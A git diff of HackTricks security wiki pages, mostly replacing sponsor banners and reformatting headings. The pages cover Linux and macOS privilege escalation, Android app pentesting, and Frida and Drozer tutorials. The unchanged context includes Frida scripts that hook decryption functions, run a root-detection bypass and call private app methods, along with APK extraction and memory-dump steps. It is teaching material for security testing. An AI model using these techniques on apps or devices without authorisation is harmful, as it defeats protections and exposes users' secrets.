### [System Information](privilege-escalation/#system-information)
@ -154,18 +159,25 @@
* [ ] Can you [**abuse NFS to escalate privileges**](privilege-escalation/#nfs-privilege-escalation)?
* [ ] Do you need to [**escape from a restrictive shell**](privilege-escalation/#escaping-from-restricted-shells)?
<figure><img src="https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FfinO3sjcfKcruYYBafKC%2Fimage.png?alt=media&#x26;token=7bba2ebb-a679-4357-a859-bff2d9c5136a" alt=""><figcaption></figcaption></figure>
Did you know that crypto projects pay more bounty rewards than their web2 counterparts?\
****This [**crypto bounty alone**](https://hackenproof.com/jungle/jungle-smart-contract) is worth $1.000.000!\
Check out the [**top-paying bounties**](https://hackenproof.com/programs) among crypto projects.\
[**Sign up on HackenProof**](https://hackenproof.com/register) to get rewarded without delays and become the web3 hacker legend.
{% embed url="https://hackenproof.com/register" %}
<details>
<summary><strong>Support HackTricks and get benefits!</strong></summary>
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- **Share your hacking tricks by submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)**.**
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* **Share your hacking tricks by submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)**.**
</details>

30
linux-hardening/privilege-escalation/escaping-from-limited-bash.md
View file

@ -4,18 +4,16 @@
<summary><strong>Support HackTricks and get benefits!</strong></summary>
- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
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- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
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- **Share your hacking tricks by submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)**.**
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* **Share your hacking tricks by submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)**.**
</details>
****
## **GTFOBins**
**Search in** [**https://gtfobins.github.io/**](https://gtfobins.github.io) **if you can execute any binary with "Shell" property**
@ -204,14 +202,10 @@ debug.debug()
<summary><strong>Support HackTricks and get benefits!</strong></summary>
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* **Share your hacking tricks by submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)**.**
</details>

65
macos-hardening/macos-security-and-privilege-escalation/README.md
View file

@ -4,18 +4,25 @@
<summary><strong>Support HackTricks and get benefits!</strong></summary>
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* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Share your hacking tricks by submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)**.**
</details>
<figure><img src="https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FfinO3sjcfKcruYYBafKC%2Fimage.png?alt=media&#x26;token=7bba2ebb-a679-4357-a859-bff2d9c5136a" alt=""><figcaption></figcaption></figure>
Did you know that crypto projects pay more bounty rewards than their web2 counterparts?\
This [**crypto bounty alone**](https://hackenproof.com/jungle/jungle-smart-contract) is worth $1.000.000!\
Check out the [**top-paying bounties**](https://hackenproof.com/programs) among crypto projects.\
[**Sign up on HackenProof**](https://hackenproof.com/register) to get rewarded without delays and become the web3 hacker legend.
{% embed url="https://hackenproof.com/register" %}
## Linux Privesc
First of all, please note that **most of the tricks about privilege escalation affecting Linux/Unix will affect also MacOS** machines. So see:
{% content-ref url="../../linux-hardening/privilege-escalation/" %}
@ -444,6 +451,17 @@ launchctl print system
launchctl print gui/<user's UID>/com.company.launchagent.label
```
<figure><img src="https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FfinO3sjcfKcruYYBafKC%2Fimage.png?alt=media&#x26;token=7bba2ebb-a679-4357-a859-bff2d9c5136a" alt=""><figcaption></figcaption></figure>
Did you know that crypto projects pay more bounty rewards than their web2 counterparts?\
This [**crypto bounty alone**](https://hackenproof.com/jungle/jungle-smart-contract) is worth $1.000.000!\
Check out the [**top-paying bounties**](https://hackenproof.com/programs) among crypto projects.\
[**Sign up on HackenProof**](https://hackenproof.com/register) to get rewarded without delays and become the web3 hacker legend.
{% embed url="https://hackenproof.com/register" %}
## Auto Start Extensibility Point (ASEP)
An **ASEP** is a location on the system that could lead to the **execution** of a binary **without** **user** **interaction**. The main ones used in OS X take the form of plists.
@ -806,9 +824,7 @@ ls -Rl /Library/Managed\ Preferences/
In order to dump the memory in a MacOS machine you can use [**osxpmem**](https://github.com/google/rekall/releases/download/v1.5.1/osxpmem-2.1.post4.zip).
**Note**: The following instructions will only work for Macs with Intel architecture. This tool is now archived and the last release was in 2017.
The binary downloaded using the instructions below targets Intel chips as Apple Silicon wasn't around in 2017. It may be possible to compile
the binary for arm64 architecture but you'll have to try for yourself.
**Note**: The following instructions will only work for Macs with Intel architecture. This tool is now archived and the last release was in 2017. The binary downloaded using the instructions below targets Intel chips as Apple Silicon wasn't around in 2017. It may be possible to compile the binary for arm64 architecture but you'll have to try for yourself.
```bash
#Dump raw format
@ -1242,18 +1258,25 @@ sudo killall -HUP mDNSResponder
* [**https://github.com/NicolasGrimonpont/Cheatsheet**](https://github.com/NicolasGrimonpont/Cheatsheet)
* [**https://assets.sentinelone.com/c/sentinal-one-mac-os-?x=FvGtLJ**](https://assets.sentinelone.com/c/sentinal-one-mac-os-?x=FvGtLJ)
<figure><img src="https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FfinO3sjcfKcruYYBafKC%2Fimage.png?alt=media&#x26;token=7bba2ebb-a679-4357-a859-bff2d9c5136a" alt=""><figcaption></figcaption></figure>
Did you know that crypto projects pay more bounty rewards than their web2 counterparts?\
This [**crypto bounty alone**](https://hackenproof.com/jungle/jungle-smart-contract) is worth $1.000.000!\
Check out the [**top-paying bounties**](https://hackenproof.com/programs) among crypto projects.\
[**Sign up on HackenProof**](https://hackenproof.com/register) to get rewarded without delays and become the web3 hacker legend.
{% embed url="https://hackenproof.com/register" %}
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* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Share your hacking tricks by submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)**.**
</details>

90
mobile-pentesting/android-app-pentesting/README.md
View file

@ -1,13 +1,5 @@
# Android Applications Pentesting
![](<../../.gitbook/assets/image (9) (1) (2).png>)
\
Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
Get Access Today:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
<details>
<summary><strong>Support HackTricks and get benefits!</strong></summary>
@ -20,6 +12,15 @@ Get Access Today:
</details>
<figure><img src="https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FfinO3sjcfKcruYYBafKC%2Fimage.png?alt=media&#x26;token=7bba2ebb-a679-4357-a859-bff2d9c5136a" alt=""><figcaption></figcaption></figure>
​​​​​Did you know that crypto projects pay more bounty rewards than their web2 counterparts?\
This [**crypto bounty alone**](https://hackenproof.com/jungle/jungle-smart-contract) is worth $1.000.000!\
Check out the [**top-paying bounties**](https://hackenproof.com/programs) among crypto projects.\
[**Sign up on HackenProof**](https://hackenproof.com/register) to get rewarded without delays and become the web3 hacker legend.
{% embed url="https://hackenproof.com/register" %}
## Android Applications Basics
It's highly recommended to start reading this page to know about the **most important parts related to Android security and the most dangerous components in an Android application**:
@ -56,13 +57,14 @@ package:/data/app/com.android.insecurebankv2-Jnf8pNgwy3QA_U5f-n_4jQ==/base.apk
adb pull /data/app/com.android.insecurebankv2- Jnf8pNgwy3QA_U5f-n_4jQ==/base.apk
```
![](<../../.gitbook/assets/image (9) (1) (2).png>)
<figure><img src="https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FfinO3sjcfKcruYYBafKC%2Fimage.png?alt=media&#x26;token=7bba2ebb-a679-4357-a859-bff2d9c5136a" alt=""><figcaption></figcaption></figure>
\
Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
Get Access Today:
​​​​​Did you know that crypto projects pay more bounty rewards than their web2 counterparts?\
This [**crypto bounty alone**](https://hackenproof.com/jungle/jungle-smart-contract) is worth $1.000.000!\
Check out the [**top-paying bounties**](https://hackenproof.com/programs) among crypto projects.\
[**Sign up on HackenProof**](https://hackenproof.com/register) to get rewarded without delays and become the web3 hacker legend.
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
{% embed url="https://hackenproof.com/register" %}
## Static Analysis
@ -243,13 +245,16 @@ An application may contain secrets (API keys, passwords, hidden urls, subdomains
[content-protocol.md](content-protocol.md)
{% endcontent-ref %}
![](<../../.gitbook/assets/image (9) (1) (2).png>)
\
Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
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{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
<figure><img src="https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FfinO3sjcfKcruYYBafKC%2Fimage.png?alt=media&#x26;token=7bba2ebb-a679-4357-a859-bff2d9c5136a" alt=""><figcaption></figcaption></figure>
​​​​​Did you know that crypto projects pay more bounty rewards than their web2 counterparts?\
This [**crypto bounty alone**](https://hackenproof.com/jungle/jungle-smart-contract) is worth $1.000.000!\
Check out the [**top-paying bounties**](https://hackenproof.com/programs) among crypto projects.\
[**Sign up on HackenProof**](https://hackenproof.com/register) to get rewarded without delays and become the web3 hacker legend.
{% embed url="https://hackenproof.com/register" %}
## Dynamic Analysis
@ -491,13 +496,18 @@ Probably you know about this kind of vulnerabilities from the Web. You have to b
* **Eternal cookies**: In several cases when the android application finish the session the cookie isn't revoked or it could be even saved to disk
* [**Secure Flag** in cookies](../../pentesting-web/hacking-with-cookies/#cookies-flags)
![](<../../.gitbook/assets/image (9) (1) (2).png>)
\
Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
Get Access Today:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
<figure><img src="https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FfinO3sjcfKcruYYBafKC%2Fimage.png?alt=media&#x26;token=7bba2ebb-a679-4357-a859-bff2d9c5136a" alt=""><figcaption></figcaption></figure>
​​​​​Did you know that crypto projects pay more bounty rewards than their web2 counterparts?\
This [**crypto bounty alone**](https://hackenproof.com/jungle/jungle-smart-contract) is worth $1.000.000!\
Check out the [**top-paying bounties**](https://hackenproof.com/programs) among crypto projects.\
[**Sign up on HackenProof**](https://hackenproof.com/register) to get rewarded without delays and become the web3 hacker legend.
{% embed url="https://hackenproof.com/register" %}
## Automatic Analysis
@ -698,13 +708,18 @@ It is able to:
Useful to detect malware: [https://koodous.com/](https://koodous.com)
![](<../../.gitbook/assets/image (9) (1) (2).png>)
\
Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
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<figure><img src="https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FfinO3sjcfKcruYYBafKC%2Fimage.png?alt=media&#x26;token=7bba2ebb-a679-4357-a859-bff2d9c5136a" alt=""><figcaption></figcaption></figure>
​​​​​Did you know that crypto projects pay more bounty rewards than their web2 counterparts?\
This [**crypto bounty alone**](https://hackenproof.com/jungle/jungle-smart-contract) is worth $1.000.000!\
Check out the [**top-paying bounties**](https://hackenproof.com/programs) among crypto projects.\
[**Sign up on HackenProof**](https://hackenproof.com/register) to get rewarded without delays and become the web3 hacker legend.
{% embed url="https://hackenproof.com/register" %}
## Obfuscating/Deobfuscating code
@ -777,6 +792,17 @@ For more information visit:
* [https://www.vegabird.com/yaazhini/](https://www.vegabird.com/yaazhini/)
* [https://github.com/abhi-r3v0/Adhrit](https://github.com/abhi-r3v0/Adhrit)
<figure><img src="https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FfinO3sjcfKcruYYBafKC%2Fimage.png?alt=media&#x26;token=7bba2ebb-a679-4357-a859-bff2d9c5136a" alt=""><figcaption></figcaption></figure>
​​​​​Did you know that crypto projects pay more bounty rewards than their web2 counterparts?\
This [**crypto bounty alone**](https://hackenproof.com/jungle/jungle-smart-contract) is worth $1.000.000!\
Check out the [**top-paying bounties**](https://hackenproof.com/programs) among crypto projects.\
[**Sign up on HackenProof**](https://hackenproof.com/register) to get rewarded without delays and become the web3 hacker legend.
{% embed url="https://hackenproof.com/register" %}
<details>
<summary><strong>Support HackTricks and get benefits!</strong></summary>
@ -788,11 +814,3 @@ For more information visit:
* **Share your hacking tricks by submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)**.**
</details>
![](<../../.gitbook/assets/image (9) (1) (2).png>)
\
Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
Get Access Today:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

33
mobile-pentesting/android-app-pentesting/android-applications-basics.md
View file

@ -1,7 +1,5 @@
# Android Applications Basics
## Android Applications Basics
<details>
<summary><strong>Support HackTricks and get benefits!</strong></summary>
@ -14,6 +12,15 @@
</details>
<figure><img src="https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FfinO3sjcfKcruYYBafKC%2Fimage.png?alt=media&#x26;token=7bba2ebb-a679-4357-a859-bff2d9c5136a" alt=""><figcaption></figcaption></figure>
​​​​​Did you know that crypto projects pay more bounty rewards than their web2 counterparts?\
This [**crypto bounty alone**](https://hackenproof.com/jungle/jungle-smart-contract) is worth $1.000.000!\
Check out the [**top-paying bounties**](https://hackenproof.com/programs) among crypto projects.\
[**Sign up on HackenProof**](https://hackenproof.com/register) to get rewarded without delays and become the web3 hacker legend.
{% embed url="https://hackenproof.com/register" %}
## Android Security Model
**There are two layers:**
@ -121,6 +128,17 @@ If developers, write in Java and the code is compiled to DEX bytecode, to revers
**Smali is the human readable version of Dalvik bytecode**. Technically, Smali and baksmali are the name of the tools (assembler and disassembler, respectively), but in Android, we often use the term “Smali” to refer to instructions. If you’ve done reverse engineering or computer architecture on compiled C/C++ code. **SMALI is like the assembly language: between the higher level source code and the bytecode**.
<figure><img src="https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FfinO3sjcfKcruYYBafKC%2Fimage.png?alt=media&#x26;token=7bba2ebb-a679-4357-a859-bff2d9c5136a" alt=""><figcaption></figcaption></figure>
​​​​​Did you know that crypto projects pay more bounty rewards than their web2 counterparts?\
This [**crypto bounty alone**](https://hackenproof.com/jungle/jungle-smart-contract) is worth $1.000.000!\
Check out the [**top-paying bounties**](https://hackenproof.com/programs) among crypto projects.\
[**Sign up on HackenProof**](https://hackenproof.com/register) to get rewarded without delays and become the web3 hacker legend.
{% embed url="https://hackenproof.com/register" %}
## Intents
Intents are the primary means by which Android apps communicate between their components or with other apps. These message objects can also carry data between apps or component, similar to how GET/POST requests are used in HTTP communications.
@ -438,6 +456,17 @@ MDM or Mobile Device Management are software suits that are used to **ensure a c
Generally the MDM solutions perform functions like enforcing password policies, forcing the encryption of storage and enable remote wiping of device data.
<figure><img src="https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FfinO3sjcfKcruYYBafKC%2Fimage.png?alt=media&#x26;token=7bba2ebb-a679-4357-a859-bff2d9c5136a" alt=""><figcaption></figcaption></figure>
​​​​​Did you know that crypto projects pay more bounty rewards than their web2 counterparts?\
This [**crypto bounty alone**](https://hackenproof.com/jungle/jungle-smart-contract) is worth $1.000.000!\
Check out the [**top-paying bounties**](https://hackenproof.com/programs) among crypto projects.\
[**Sign up on HackenProof**](https://hackenproof.com/register) to get rewarded without delays and become the web3 hacker legend.
{% embed url="https://hackenproof.com/register" %}
<details>
<summary><strong>Support HackTricks and get benefits!</strong></summary>

14
mobile-pentesting/android-app-pentesting/drozer-tutorial/README.md
View file

@ -12,6 +12,12 @@
</details>
<img src="../../../.gitbook/assets/i3.png" alt="" data-size="original">
**Bug bounty tip**: **sign up** for **Intigriti**, a premium **bug bounty platform created by hackers, for hackers**! Join us at [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) today, and start earning bounties up to **$100,000**!
{% embed url="https://go.intigriti.com/hacktricks" %}
## APKs to test
* [Sieve](https://github.com/mwrlabs/drozer/releases/download/2.3.4/sieve.apk) (from mrwlabs)
@ -313,6 +319,14 @@ run app.package.debuggable
* [https://blog.dixitaditya.com/android-pentesting-cheatsheet/](https://blog.dixitaditya.com/android-pentesting-cheatsheet/)
<img src="../../../.gitbook/assets/i3.png" alt="" data-size="original">
**Bug bounty tip**: **sign up** for **Intigriti**, a premium **bug bounty platform created by hackers, for hackers**! Join us at [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) today, and start earning bounties up to **$100,000**!
{% embed url="https://go.intigriti.com/hacktricks" %}
<details>
<summary><strong>Support HackTricks and get benefits!</strong></summary>

70
mobile-pentesting/android-app-pentesting/frida-tutorial/README.md
View file

@ -1,23 +1,24 @@
# Frida Tutorial
<details>
<summary><strong>Support HackTricks and get benefits!</strong></summary>
- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
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- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
- **Share your hacking tricks by submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)**.**
* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Share your hacking tricks by submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)**.**
</details>
<img src="../../../.gitbook/assets/i3.png" alt="" data-size="original">
# Installation
**Bug bounty tip**: **sign up** for **Intigriti**, a premium **bug bounty platform created by hackers, for hackers**! Join us at [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) today, and start earning bounties up to **$100,000**!
{% embed url="https://go.intigriti.com/hacktricks" %}
## Installation
Install **frida tools**:
@ -26,7 +27,7 @@ pip install frida-tools
pip install frida
```
**Download and install** in the android the **frida server** ([Download the latest release](https://github.com/frida/frida/releases)). \
**Download and install** in the android the **frida server** ([Download the latest release](https://github.com/frida/frida/releases)).\
One-liner to restart adb in root mode, connect to it, upload frida-server, give exec permissions and run it in backgroud:
```bash
@ -40,9 +41,9 @@ frida-ps -U #List packages and processes
frida-ps -U | grep -i <part_of_the_package_name> #Get all the package name
```
# Tutorials
## Tutorials
## [Tutorial 1](frida-tutorial-1.md)
### [Tutorial 1](frida-tutorial-1.md)
**From**: [https://medium.com/infosec-adventures/introduction-to-frida-5a3f51595ca1](https://medium.com/infosec-adventures/introduction-to-frida-5a3f51595ca1)\
**APK**: [https://github.com/t0thkr1s/frida-demo/releases](https://github.com/t0thkr1s/frida-demo/releases)\
@ -50,14 +51,14 @@ frida-ps -U | grep -i <part_of_the_package_name> #Get all the package name
Follow the [link to read it](frida-tutorial-1.md).
## [Tutorial 2](frida-tutorial-2.md)
### [Tutorial 2](frida-tutorial-2.md)
**From**: [https://11x256.github.io/Frida-hooking-android-part-2/](https://11x256.github.io/Frida-hooking-android-part-2/) (Parts 2, 3 & 4)\
**APKs and Source code**: [https://github.com/11x256/frida-android-examples](https://github.com/11x256/frida-android-examples)
Follow the[ link to read it.](frida-tutorial-2.md)
## [Tutorial 3](owaspuncrackable-1.md)
### [Tutorial 3](owaspuncrackable-1.md)
**From**: [https://joshspicer.com/android-frida-1](https://joshspicer.com/android-frida-1)\
**APK**: [https://github.com/OWASP/owasp-mstg/blob/master/Crackmes/Android/Level\_01/UnCrackable-Level1.apk](https://github.com/OWASP/owasp-mstg/blob/master/Crackmes/Android/Level\_01/UnCrackable-Level1.apk)
@ -65,11 +66,11 @@ Follow the[ link to read it.](frida-tutorial-2.md)
Follow the [link to read it](owaspuncrackable-1.md).\
**You can find some Awesome Frida scripts here:** [**https://codeshare.frida.re/**](https://codeshare.frida.re)
# Fast Examples
## Fast Examples
Here you can find the more basic and interesting functionalities of Frida to make a quick script:
## Calling Frida from command line
### Calling Frida from command line
```bash
frida-ps -U
@ -84,7 +85,7 @@ frida -U --no-pause -l disableRoot.js -f owasp.mstg.uncrackable1
#continue execution with our modified code.
```
## Basic Python Script
### Basic Python Script
```python
import frida, sys
@ -97,7 +98,7 @@ script.load()
sys.stdin.read()
```
## Hooking functions without parameters
### Hooking functions without parameters
Hook the function `a()` of the class `sg.vantagepoint.a.c`
@ -144,7 +145,7 @@ Hook android `.onCreate()`
};
```
## Hooking functions with parameters and retrieving the value
### Hooking functions with parameters and retrieving the value
Hooking a decryption function. Print the input, call the original function decrypt the input and finally, print the plain data:
@ -173,7 +174,7 @@ Hooking a decryption function. Print the input, call the original function decry
};
```
## Hooking functions and calling them with our input
### Hooking functions and calling them with our input
Hook a function that receives a string and call it with other string (from [here](https://11x256.github.io/Frida-hooking-android-part-2/))
@ -189,7 +190,7 @@ my_class.fun.overload("java.lang.String").implementation = function(x){ //hookin
};
```
## Getting an already created object of a class
### Getting an already created object of a class
If you want to extract some attribute of a created object you can use this.
@ -206,20 +207,21 @@ Java.choose("com.example.a11x256.frida_test.my_activity" , {
```
<img src="../../../.gitbook/assets/i3.png" alt="" data-size="original">
**Bug bounty tip**: **sign up** for **Intigriti**, a premium **bug bounty platform created by hackers, for hackers**! Join us at [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) today, and start earning bounties up to **$100,000**!
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* **Share your hacking tricks by submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)**.**
</details>

4
mobile-pentesting/android-app-pentesting/frida-tutorial/frida-tutorial-1.md
View file

@ -12,7 +12,7 @@
</details>
<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="original">
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
If you are interested in **hacking carer** and hack the unhackable - **we are hiring!** (_fluent polish written and spoken required_).
@ -147,7 +147,7 @@ In this tutorial you have hooked methods using the name of the mathod and _.impl
You can see that in [the next tutorial](frida-tutorial-2.md).
<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="original">
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
If you are interested in **hacking carer** and hack the unhackable - **we are hiring!** (_fluent polish written and spoken required_).

71
mobile-pentesting/android-app-pentesting/frida-tutorial/frida-tutorial-2.md
View file

@ -1,33 +1,36 @@
# Frida Tutorial 2
<details>
<summary><strong>Support HackTricks and get benefits!</strong></summary>
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- **Share your hacking tricks by submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)**.**
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* **Share your hacking tricks by submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)**.**
</details>
<figure><img src="https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FwdlXOpyZOVGNzyhOiiFK%2Fimage%20(1).png?alt=media&#x26;token=13f4d279-7d3f-47ce-a68e-35f9a906973f" alt=""><figcaption></figcaption></figure>
**From**: [https://11x256.github.io/Frida-hooking-android-part-2/](https://11x256.github.io/Frida-hooking-android-part-2/) \(Parts 2, 3 & 4\)
​If you are interested in **hacking carer** and hack the unhackable - **we are hiring!** (_fluent polish written and spoken required_).
{% embed url="https://www.stmcyber.com/careers" %}
**From**: [https://11x256.github.io/Frida-hooking-android-part-2/](https://11x256.github.io/Frida-hooking-android-part-2/) (Parts 2, 3 & 4)\
**APKs and Source code**: [https://github.com/11x256/frida-android-examples](https://github.com/11x256/frida-android-examples)
The part 1 is so easy.
**Some parts of the original code doesn't work and have been modified here.**
# Part 2
## Part 2
Here you can see an example of how to **hook 2 functions with the same name** but different parameters.
Also, you are going to learn how to **call a function with your own parameters**.
Here you can see an example of how to **hook 2 functions with the same name** but different parameters.\
Also, you are going to learn how to **call a function with your own parameters**.\
And finally, there is an example of how to **find an instance of a class and make it call a function**.
```javascript
@ -67,7 +70,7 @@ Java.perform(function x() {
You can see that to create a String first is has referenced the class _java.lang.String_ and then it has created a _$new_ object of that class with a String as content. This is the correct way to create a new object of a class. But, in this case, you could just pass to `this.fun()` any String like: `this.fun("hey there!")`
## Python
### Python
```python
//loader.py
@ -86,13 +89,13 @@ script.load()
raw_input()
```
```text
```
python loader.py
```
# Part 3
## Part 3
## Python
### Python
Now you are going to see how to send commands to the hooked app via Python to call function:
@ -127,11 +130,11 @@ while 1 == 1:
script.exports.hooksecretfunction()
```
The command "**1**" will **exit**, the command "**2**" will find and **instance of the class and call the private function** _**secret\(\)**_ and command "**3**" will **hook** the function _**secret\(\)**_ so it **return** a **different string**.
The command "**1**" will **exit**, the command "**2**" will find and **instance of the class and call the private function** _**secret()**_ and command "**3**" will **hook** the function _**secret()**_ so it **return** a **different string**.
The, if you call "**2**" you will get the **real secret**, but if you call "**3**" and then "**2**" you will get the **fake secret**.
## JS
### JS
```javascript
console.log("Script loaded successfully ");
@ -172,11 +175,11 @@ rpc.exports = {
};
```
# Part 4
## Part 4
Here you will see how to make **Python and JS interact** using JSONs objects. JS use the `send()` function to send data to the python cliente, and Python uses `post()` functions to send data to ths JS script. The **JS will block the execution** until is receives s response from Python.
## Python
### Python
```python
//loader.py
@ -210,7 +213,7 @@ script.load()
raw_input()
```
## JS
### JS
```javascript
console.log("Script loaded successfully ");
@ -233,20 +236,20 @@ There is a part 5 that I am not going to explain because there isn't anything ne
<figure><img src="https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FwdlXOpyZOVGNzyhOiiFK%2Fimage%20(1).png?alt=media&#x26;token=13f4d279-7d3f-47ce-a68e-35f9a906973f" alt=""><figcaption></figcaption></figure>
If you are interested in **hacking carer** and hack the unhackable - **we are hiring!** (_fluent polish written and spoken required_).
{% embed url="https://www.stmcyber.com/careers" %}
<details>
<summary><strong>Support HackTricks and get benefits!</strong></summary>
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* **Share your hacking tricks by submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)**.**
</details>

14
mobile-pentesting/android-app-pentesting/frida-tutorial/objection-tutorial.md
View file

@ -12,6 +12,12 @@
</details>
<img src="../../../.gitbook/assets/i3.png" alt="" data-size="original">
